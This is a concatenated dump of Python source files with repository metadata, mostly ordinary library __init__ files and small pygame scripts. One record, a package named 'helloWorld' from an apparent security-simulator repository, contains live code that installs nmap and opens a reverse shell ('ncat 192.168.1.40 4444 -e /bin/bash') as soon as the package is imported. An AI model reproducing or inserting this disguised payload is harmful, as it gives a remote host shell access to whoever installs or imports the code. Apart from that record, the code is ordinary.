vega/search_space/networks/tensorflow/losses/__init__.py
|
Lzc06/vega
|
852d2f57e21caed11473ddc96397124561eacf8a
|
[
"MIT"
] | 3
|
2021-03-31T20:15:40.000Z
|
2022-02-09T23:50:46.000Z
|
built-in/TensorFlow/Research/cv/image_classification/Darts_for_TensorFlow/automl/vega/search_space/networks/tensorflow/losses/__init__.py
|
Huawei-Ascend/modelzoo
|
df51ed9c1d6dbde1deef63f2a037a369f8554406
|
[
"Apache-2.0"
] | 2
|
2021-07-10T12:40:46.000Z
|
2021-12-17T07:55:15.000Z
|
from .cross_entropy_weight_decay import CrossEntropyWeightDecay
from .mix_auxiliary_loss import MixAuxiliaryLoss
| 37.666667
| 63
| 0.911504
| 13
| 113
| 7.538462
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.070796
| 113
| 2
| 64
| 56.5
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d987e876288aa67af4f11ffb0c925386161e2aa9
| 108
|
py
|
Python
|
src/aioice/__init__.py
|
arushkharbanda/aioice
|
9b8f5972491b3dc05f4e723a7c9c6f563aa02d87
|
[
"BSD-3-Clause"
] | 20
|
2018-03-07T12:07:26.000Z
|
2022-01-31T12:58:26.000Z
|
src/aioice/__init__.py
|
arushkharbanda/aioice
|
9b8f5972491b3dc05f4e723a7c9c6f563aa02d87
|
[
"BSD-3-Clause"
] | 11
|
2018-03-13T19:36:12.000Z
|
2019-01-28T13:58:24.000Z
|
src/aioice/__init__.py
|
arushkharbanda/aioice
|
9b8f5972491b3dc05f4e723a7c9c6f563aa02d87
|
[
"BSD-3-Clause"
] | 11
|
2018-02-27T02:12:13.000Z
|
2021-11-29T02:14:08.000Z
|
# flake8: noqa
from .about import __version__
from .candidate import Candidate
from .ice import Connection
| 18
| 32
| 0.805556
| 14
| 108
| 5.928571
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.01087
| 0.148148
| 108
| 5
| 33
| 21.6
| 0.891304
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d98e05db89e967def0f30e8ba36d073f2107704f
| 2,782
|
py
|
Python
|
u3v2 cambio de tamano/Juego/BotonesOpciones.py
|
Muteado/proyecto
|
54cf8babe150a33f75851f6686094de8f743d332
|
[
"MIT"
] | null | null | null |
u3v2 cambio de tamano/Juego/BotonesOpciones.py
|
Muteado/proyecto
|
54cf8babe150a33f75851f6686094de8f743d332
|
[
"MIT"
] | null | null | null |
u3v2 cambio de tamano/Juego/BotonesOpciones.py
|
Muteado/proyecto
|
54cf8babe150a33f75851f6686094de8f743d332
|
[
"MIT"
] | null | null | null |
from .Rectangulos import *
from .Variables import *
class BotonesOpciones:
def botonesopciones(boton1,boton2,boton3,boton4,boton5,boton6,boton7,boton8,boton9,boton10,boton11,boton12,boton13,boton14,boton15,boton16):
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton1,0)#Jugadores IA
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton2,0)#Jugadores IA
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton3,0)#Jugadores IA
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton4,0)#Jugadores IA
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton5,0)#Balas
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton6,0)#Balas
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton7,0)#Balas
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton8,0)#Balas
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton9,0)#Pantalla
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton10,0)#Pantalla
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton11,0)#Pantalla
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton12,0)#Pantalla
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton13,0)#Entorno
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton14,0)#Entorno
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton15,0)#Entorno
Rectangulos.dibujaRectangulos(Pant, Amarillo, boton16,0)#Entorno
#Dibuja los rectangulos de los textos
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo((Pant.get_width()/2)-550, 150, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo((Pant.get_width()/2)-550, 250, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo((Pant.get_width()/2)-550, 350, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo((Pant.get_width()/2)-550, 450, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(470, 150, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(470, 250, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(470, 350, 150, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(470, 450, 250, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(910, 150, 150, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(910, 250, 150, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(910, 350, 150, 50),0)
Rectangulos.dibujaRectangulos(Pant, Amarillo, Rectangulos.rectangulo(910, 450, 150, 50),0)
| 71.333333
| 145
| 0.728613
| 296
| 2,782
| 6.834459
| 0.162162
| 0.387543
| 0.442907
| 0.553633
| 0.811666
| 0.811666
| 0.552645
| 0.449827
| 0.449827
| 0.446861
| 0
| 0.089936
| 0.160676
| 2,782
| 39
| 146
| 71.333333
| 0.776445
| 0.059669
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03125
| false
| 0
| 0.0625
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
793f66dce80ceff06f76e9cda0246ed1d93b4b27
| 9,385
|
py
|
Python
|
pyTD/market/__init__.py
|
kevmartian/pyTD
|
ea8f374a0c9eddf5a46233f5946e68a67c181009
|
[
"MIT"
] | 16
|
2018-10-25T06:03:56.000Z
|
2021-06-14T03:53:01.000Z
|
pyTD/market/__init__.py
|
td-ameritrade/pyTD
|
28099664c8a3b6b7e60f62f5e5c120f01e3530af
|
[
"MIT"
] | 5
|
2018-11-11T19:34:25.000Z
|
2021-01-16T03:39:45.000Z
|
pyTD/market/__init__.py
|
td-ameritrade/pyTD
|
28099664c8a3b6b7e60f62f5e5c120f01e3530af
|
[
"MIT"
] | 14
|
2019-03-12T04:16:40.000Z
|
2021-04-15T20:26:04.000Z
|
# MIT License
# Copyright (c) 2018 Addison Lynch
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from pyTD.instruments.base import Instruments
from pyTD.market.hours import MarketHours
from pyTD.market.quotes import Quotes
from pyTD.market.movers import Movers
from pyTD.market.options import Options
from pyTD.market.price_history import PriceHistory
def get_fundamentals(*args, **kwargs):
"""
Retrieve fundamental data for a diven symbol or CUSIP ID
Parameters
----------
symbol: str
A CUSIP ID, symbol, regular expression, or snippet (depends on the
value of the "projection" variable)
output_format: str, default "pandas", optional
Desired output format. "pandas" or "json"
"""
kwargs.update({"projection": "fundamental"})
return Instruments(*args, **kwargs).execute()
def get_quotes(*args, **kwargs):
"""
Function for retrieving quotes from the Get Quotes endpoint.
Parameters
----------
symbols : str, array-like object (list, tuple, Series), or DataFrame
Single stock symbol (ticker), array-like object of symbols or
DataFrame with index containing up to 100 stock symbols.
output_format: str, default 'pandas', optional
Desired output format (json or DataFrame)
kwargs: additional request parameters (see _TDBase class)
"""
return Quotes(*args, **kwargs).execute()
def get_market_hours(*args, **kwargs):
"""
Function to retrieve market hours for a given market from the Market
Hours endpoint
Parameters
----------
market: str, default EQUITY, optional
The market to retrieve operating hours for
date : string or DateTime object, (defaults to today's date)
Operating date, timestamp. Parses many different kind of date
representations (e.g., 'JAN-01-2015', '1/1/15', 'Jan, 1, 1980')
output_format: str, default 'pandas', optional
Desired output format (json or DataFrame)
kwargs: additional request parameters (see _TDBase class)
"""
return MarketHours(*args, **kwargs).execute()
def get_movers(*args, **kwargs):
"""
Function for retrieving market moveers from the Movers endpoint
Parameters
----------
index: str
The index symbol to get movers from
direction: str, default up, optional
Return up or down movers
change: str, default percent, optional
Return movers by percent change or value change
output_format: str, default 'pandas', optional
Desired output format (json or DataFrame)
kwargs: additional request parameters (see _TDBase class)
"""
return Movers(*args, **kwargs).execute()
def get_option_chains(*args, **kwargs):
"""
Function to retrieve option chains for a given symbol from the Option
Chains endpoint
Parameters
----------
contractType: str, default ALL, optional
Desired contract type (CALL, PUT, ALL)
strikeCount: int, optional
Number of strikes to return above and below the at-the-money price
includeQuotes: bool, default False, optional
Include quotes for options in the option chain
strategy: str, default None, optional
Passing a value returns a strategy chain (SINGLE or ANALYTICAL)
interval: int, optional
Strike interval for spread strategy chains
strike: float, optional
Filter options that only have a certain strike price
range: str, optional
Returns options for a given range (ITM, OTM, etc.)
fromDate: str or datetime.datetime object, optional
Only return options after this date
toDate: str or datetime.datetime object, optional
Only return options before this date
volatility: float, optional
Volatility to use in calculations (for analytical strategy chains)
underlyingPrice: float, optional
Underlying price to use in calculations (for analytical strategy
chains)
interestRate: float, optional
Interest rate to use in calculations (for analytical strategy
chains)
daysToExpiration: int, optional
Days to expiration to use in calulations (for analytical
strategy chains)
expMonth: str, optional
Expiration month (format JAN, FEB, etc.) to use in calculations
(for analytical strategy chains), default ALL
optionType: str, optional
Type of contracts to return (S: standard, NS: nonstandard,
ALL: all contracts)
output_format: str, optional, default 'pandas'
Desired output format
api: pyTD.api.api object, optional
A pyTD api object. If not passed, API requestor defaults to
pyTD.api.default_api
kwargs: additional request parameters (see _TDBase class)
"""
return Options(*args, **kwargs).execute()
def get_price_history(*args, **kwargs):
"""
Function to retrieve price history for a given symbol over a given period
Parameters
----------
symbols : string, array-like object (list, tuple, Series), or DataFrame
Desired symbols for retrieval
periodType: str, default DAY, optional
The type of period to show
period: int, optional
The number of periods to show
frequencyType: str, optional
The type of frequency with which a new candle is formed
frequency: int, optional
The number of frequencyType to includ with each candle
startDate : string or DateTime object, optional
Starting date, timestamp. Parses many different kind of date
representations (e.g., 'JAN-01-2015', '1/1/15', 'Jan, 1, 1980')
endDate : string or DateTime object, optional
Ending date, timestamp. Parses many different kind of date
representations (e.g., 'JAN-01-2015', '1/1/15', 'Jan, 1, 1980')
extended: str or bool, default 'True'/True, optional
True to return extended hours data, False for regular hours only
output_format: str, default 'pandas', optional
Desired output format (json or DataFrame)
"""
return PriceHistory(*args, **kwargs).execute()
# def get_history_intraday(symbols, start, end, interval='1m', extended=True,
# output_format='pandas'):
# """
# Function to retrieve intraday price history for a given symbol
# Parameters
# ----------
# symbols : string, array-like object (list, tuple, Series), or DataFrame
# Desired symbols for retrieval
# startDate : string or DateTime object, optional
# Starting date, timestamp. Parses many different kind of date
# representations (e.g., 'JAN-01-2015', '1/1/15', 'Jan, 1, 1980')
# endDate : string or DateTime object, optional
# Ending date, timestamp. Parses many different kind of date
# representations (e.g., 'JAN-01-2015', '1/1/15', 'Jan, 1, 1980')
# interval: string, default '1m', optional
# Desired interval (1m, 5m, 15m, 30m, 60m)
# needExtendedHoursData: str or bool, default 'True'/True, optional
# True to return extended hours data, False for regular hours only
# output_format: str, default 'pandas', optional
# Desired output format (json or DataFrame)
# """
# result = PriceHistory(symbols, start_date=start, end_date=end,
# extended=extended,
# output_format=output_format).execute()
# if interval == '1m':
# return result
# elif interval == '5m':
# sample = result.index.floor('5T').drop_duplicates()
# return result.reindex(sample, method='ffill')
# elif interval == '15m':
# sample = result.index.floor('15T').drop_duplicates()
# return result.reindex(sample, method='ffill')
# elif interval == '30m':
# sample = result.index.floor('30T').drop_duplicates()
# return result.reindex(sample, method='ffill')
# elif interval == '60m':
# sample = result.index.floor('60T').drop_duplicates()
# return result.reindex(sample, method='ffill')
# else:
# raise ValueError("Interval must be 1m, 5m, 15m, 30m, or 60m.")
# def get_history_daily(symbols, start, end, output_format='pandas'):
# return PriceHistory(symbols, start_date=start, end_date=end,
# frequency_type='daily',
# output_format=output_format).execute()
| 40.627706
| 79
| 0.677571
| 1,182
| 9,385
| 5.345178
| 0.257191
| 0.037987
| 0.016619
| 0.020893
| 0.41817
| 0.356442
| 0.347895
| 0.347895
| 0.282368
| 0.257202
| 0
| 0.016012
| 0.234736
| 9,385
| 230
| 80
| 40.804348
| 0.863687
| 0.841129
| 0
| 0
| 0
| 0
| 0.022629
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.315789
| true
| 0
| 0.315789
| 0
| 0.947368
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
7943591df8cb69c5278ebfe945b0349d3a132cc2
| 200
|
py
|
Python
|
cartography/intel/aws/ec2/util.py
|
Relys/cartography
|
0f71b3f0246665d5fa065afa2e3dc46c22d6c689
|
[
"Apache-2.0"
] | 1
|
2021-03-26T12:00:26.000Z
|
2021-03-26T12:00:26.000Z
|
cartography/intel/aws/ec2/util.py
|
srics/cartography
|
19a06766e304d657d956246179a2bb01a6d9aef6
|
[
"Apache-2.0"
] | 1
|
2021-02-23T18:08:04.000Z
|
2021-03-31T08:17:23.000Z
|
cartography/intel/aws/ec2/util.py
|
srics/cartography
|
19a06766e304d657d956246179a2bb01a6d9aef6
|
[
"Apache-2.0"
] | 1
|
2021-03-31T17:55:31.000Z
|
2021-03-31T17:55:31.000Z
|
import botocore.config
# TODO memoize this
def get_botocore_config():
return botocore.config.Config(
read_timeout=360,
retries={
'max_attempts': 10,
},
)
| 16.666667
| 34
| 0.595
| 21
| 200
| 5.47619
| 0.761905
| 0.365217
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036232
| 0.31
| 200
| 11
| 35
| 18.181818
| 0.797101
| 0.085
| 0
| 0
| 0
| 0
| 0.066298
| 0
| 0
| 0
| 0
| 0.090909
| 0
| 1
| 0.125
| true
| 0
| 0.125
| 0.125
| 0.375
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
|
0
| 5
|
7966303120dca126e3b714412606973407cd8f30
| 97
|
py
|
Python
|
pip_lib/helloWorld/helloWorld/__init__.py
|
silicom-hub/IS_simulator
|
4d134a8051c3604a94c2552503ff24015a3e86ee
|
[
"MIT"
] | 4
|
2021-11-24T10:58:51.000Z
|
2022-03-11T15:13:22.000Z
|
pip_lib/helloWorld/helloWorld/__init__.py
|
silicom-hub/IS_simulator
|
4d134a8051c3604a94c2552503ff24015a3e86ee
|
[
"MIT"
] | 1
|
2021-11-24T09:16:08.000Z
|
2021-11-30T16:19:41.000Z
|
pip_lib/helloWorld/helloWorld/__init__.py
|
silicom-hub/IS_simulator
|
4d134a8051c3604a94c2552503ff24015a3e86ee
|
[
"MIT"
] | 1
|
2021-11-24T11:10:38.000Z
|
2021-11-24T11:10:38.000Z
|
import os
os.system("apt-get install -y nmap")
os.system("ncat 192.168.1.40 4444 -e /bin/bash")
| 19.4
| 48
| 0.690722
| 20
| 97
| 3.35
| 0.85
| 0.238806
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.152941
| 0.123711
| 97
| 4
| 49
| 24.25
| 0.635294
| 0
| 0
| 0
| 0
| 0
| 0.597938
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
798baa0a9fea077b35849f2c2a1cc445d3a53983
| 168
|
py
|
Python
|
DPjudge/bin/__init__.py
|
serrasqueiro/dpjudge
|
9bac5b74397f5d7963088857a89a6eb956f8404d
|
[
"MIT"
] | null | null | null |
DPjudge/bin/__init__.py
|
serrasqueiro/dpjudge
|
9bac5b74397f5d7963088857a89a6eb956f8404d
|
[
"MIT"
] | null | null | null |
DPjudge/bin/__init__.py
|
serrasqueiro/dpjudge
|
9bac5b74397f5d7963088857a89a6eb956f8404d
|
[
"MIT"
] | null | null | null |
# -----------------------------------------------------
# DPjudge.bin subpackage - system and judgekeeper tools
# -----------------------------------------------------
| 42
| 55
| 0.267857
| 7
| 168
| 6.428571
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 168
| 3
| 56
| 56
| 0.288462
| 0.958333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
79c3deb7fc297cf78554994e571835829a2296e8
| 69
|
py
|
Python
|
particle_segmentation/Mask_RCNN/size_measurement/__init__.py
|
CederGroupHub/TEMExtraction
|
32c28ffcbc39fb5d4f871640e614282764f362e9
|
[
"MIT"
] | 3
|
2021-12-08T15:33:35.000Z
|
2021-12-10T20:07:59.000Z
|
particle_segmentation/Mask_RCNN/size_measurement/__init__.py
|
CederGroupHub/TEMExtraction
|
32c28ffcbc39fb5d4f871640e614282764f362e9
|
[
"MIT"
] | null | null | null |
particle_segmentation/Mask_RCNN/size_measurement/__init__.py
|
CederGroupHub/TEMExtraction
|
32c28ffcbc39fb5d4f871640e614282764f362e9
|
[
"MIT"
] | null | null | null |
# from size_measurement.size_measurement import measure_sizes_single
| 34.5
| 68
| 0.898551
| 9
| 69
| 6.444444
| 0.777778
| 0.517241
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072464
| 69
| 1
| 69
| 69
| 0.90625
| 0.956522
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
8dbefc6c4e27ac0e38c0eb860a7be9e9c9cb7130
| 134
|
py
|
Python
|
Guanabara/ex3/dsf04.py
|
Edu1769/python
|
86ed93227c4c7f21a7deabe1408ab5760b757712
|
[
"MIT"
] | null | null | null |
Guanabara/ex3/dsf04.py
|
Edu1769/python
|
86ed93227c4c7f21a7deabe1408ab5760b757712
|
[
"MIT"
] | null | null | null |
Guanabara/ex3/dsf04.py
|
Edu1769/python
|
86ed93227c4c7f21a7deabe1408ab5760b757712
|
[
"MIT"
] | null | null | null |
import pygame
print("Musica: ")
pygame.init()
pygame.mixer.music.load('ex3/musica.mp3')
pygame.mixer.music.play()
pygame.event.wait()
| 19.142857
| 41
| 0.746269
| 20
| 134
| 5
| 0.65
| 0.22
| 0.32
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015873
| 0.059701
| 134
| 6
| 42
| 22.333333
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0.164179
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.166667
| 0
| 0.166667
| 0.166667
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
8dd18d7c2a497a62e89aa22191e260741e05ace3
| 54
|
py
|
Python
|
app/env/cv2/__init__.py
|
COOLIRON2311/SheetVision
|
adf97b05a19c5a597bc60a0b70a804a836af4031
|
[
"MIT"
] | null | null | null |
app/env/cv2/__init__.py
|
COOLIRON2311/SheetVision
|
adf97b05a19c5a597bc60a0b70a804a836af4031
|
[
"MIT"
] | null | null | null |
app/env/cv2/__init__.py
|
COOLIRON2311/SheetVision
|
adf97b05a19c5a597bc60a0b70a804a836af4031
|
[
"MIT"
] | null | null | null |
import sys
from . import cv2
sys.modules['cv2'] = cv2
| 13.5
| 24
| 0.703704
| 9
| 54
| 4.222222
| 0.555556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 0.166667
| 54
| 3
| 25
| 18
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0.055556
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
8de68307731fe5509eade03e1154f944d4d5958c
| 225
|
py
|
Python
|
problems/where_my_anagrams_at.py
|
stereoabuse/codewars
|
d6437afaef38c3601903891b8b9cb0f84c108c54
|
[
"MIT"
] | null | null | null |
problems/where_my_anagrams_at.py
|
stereoabuse/codewars
|
d6437afaef38c3601903891b8b9cb0f84c108c54
|
[
"MIT"
] | null | null | null |
problems/where_my_anagrams_at.py
|
stereoabuse/codewars
|
d6437afaef38c3601903891b8b9cb0f84c108c54
|
[
"MIT"
] | null | null | null |
## Where my anagrams at?
## 5 kyu
## https://www.codewars.com/kata/523a86aa4230ebb5420001e1
from collections import Counter
def anagrams(word, words):
return [i for i in words if Counter(i) == Counter(word)]
| 25
| 61
| 0.688889
| 31
| 225
| 5
| 0.774194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.099448
| 0.195556
| 225
| 8
| 62
| 28.125
| 0.756906
| 0.373333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 5
|
5c12e9f51683ea0cd709af5836ac02f944c2a888
| 163
|
py
|
Python
|
nyan/collections/__init__.py
|
TWRogers/nyan
|
c224279467475c9ce81e4709dd357897e0e5c963
|
[
"Apache-2.0"
] | 2
|
2019-10-11T16:41:16.000Z
|
2019-10-11T16:42:08.000Z
|
nyan/collections/__init__.py
|
TWRogers/nyan
|
c224279467475c9ce81e4709dd357897e0e5c963
|
[
"Apache-2.0"
] | null | null | null |
nyan/collections/__init__.py
|
TWRogers/nyan
|
c224279467475c9ce81e4709dd357897e0e5c963
|
[
"Apache-2.0"
] | null | null | null |
from .images import Images, COLOUR_MODES
from .video import Video
from .sequential import Sequential
__all__ = ["Images", "COLOUR_MODES", "Video", "Sequential"]
| 23.285714
| 59
| 0.760736
| 20
| 163
| 5.9
| 0.4
| 0.20339
| 0.288136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128834
| 163
| 6
| 60
| 27.166667
| 0.830986
| 0
| 0
| 0
| 0
| 0
| 0.202454
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
30a697885ed3490f3d6cebc7f3501af0cc6089f8
| 103
|
py
|
Python
|
nabu/neuralnetworks/decoders/__init__.py
|
AzizCode92/nabu
|
768988ce4c6fc470f843174d6d7d5807880feb10
|
[
"MIT"
] | 117
|
2017-02-10T13:23:23.000Z
|
2022-02-20T05:31:04.000Z
|
nabu/neuralnetworks/decoders/__init__.py
|
AzizCode92/nabu
|
768988ce4c6fc470f843174d6d7d5807880feb10
|
[
"MIT"
] | 56
|
2017-04-26T08:51:38.000Z
|
2021-08-23T11:59:19.000Z
|
nabu/neuralnetworks/decoders/__init__.py
|
AzizCode92/nabu
|
768988ce4c6fc470f843174d6d7d5807880feb10
|
[
"MIT"
] | 50
|
2017-02-06T21:57:40.000Z
|
2021-05-14T23:03:07.000Z
|
'''@package decoders
this package contains all the decoders'''
from . import decoder, decoder_factory
| 20.6
| 41
| 0.776699
| 13
| 103
| 6.076923
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135922
| 103
| 4
| 42
| 25.75
| 0.88764
| 0.543689
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
30adfc6a3a2c41669073a9878305772c8762515a
| 186
|
py
|
Python
|
qmsolve/particle_system/__init__.py
|
lukepolson/qmsolve
|
373dbc6349509984139a59746acb140b48414fdf
|
[
"BSD-3-Clause"
] | 1
|
2022-02-09T19:23:08.000Z
|
2022-02-09T19:23:08.000Z
|
qmsolve/particle_system/__init__.py
|
zeroegg/qmsolve
|
f7d3412ce3b7c523abad0870f34f8d55c6654049
|
[
"BSD-3-Clause"
] | null | null | null |
qmsolve/particle_system/__init__.py
|
zeroegg/qmsolve
|
f7d3412ce3b7c523abad0870f34f8d55c6654049
|
[
"BSD-3-Clause"
] | null | null | null |
from .single_particle import SingleParticle
from .two_fermions import TwoFermions
from .two_bosons import TwoBosons
from .two_distinguishable_particles import TwoDistinguishableParticles
| 46.5
| 70
| 0.897849
| 21
| 186
| 7.714286
| 0.619048
| 0.12963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080645
| 186
| 4
| 70
| 46.5
| 0.947368
| 0
| 0
| 0
| 0
| 0
